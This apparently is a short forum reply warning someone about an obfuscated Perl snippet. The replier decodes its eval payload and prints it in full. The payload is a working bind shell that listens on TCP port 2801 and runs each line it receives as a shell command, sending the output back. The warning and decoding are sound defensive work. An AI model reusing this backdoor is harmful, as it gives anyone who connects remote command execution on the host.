Hey,
This is trying to open a port on your local machine to receive data. I wouldn't run it.

Decoded EVAL statement:

use IO::Socket;
use Net::hostent;
my($nmn,$nmm,$mnm,$mmn)=undef;
$nmn=IO::Socket::INET->new(Proto=>"tcp", LocalPort=>2801,Listen=>5,Reu
+se=>1);
while($nmm=$nmn->accept())
    {
    $nmm->autoflush(1);
    while($mnm=<$nmm>)
        {
        $mmn=`$mnm`;
        print $nmm $mmn;
        }
    close $nmm;
    };
[download]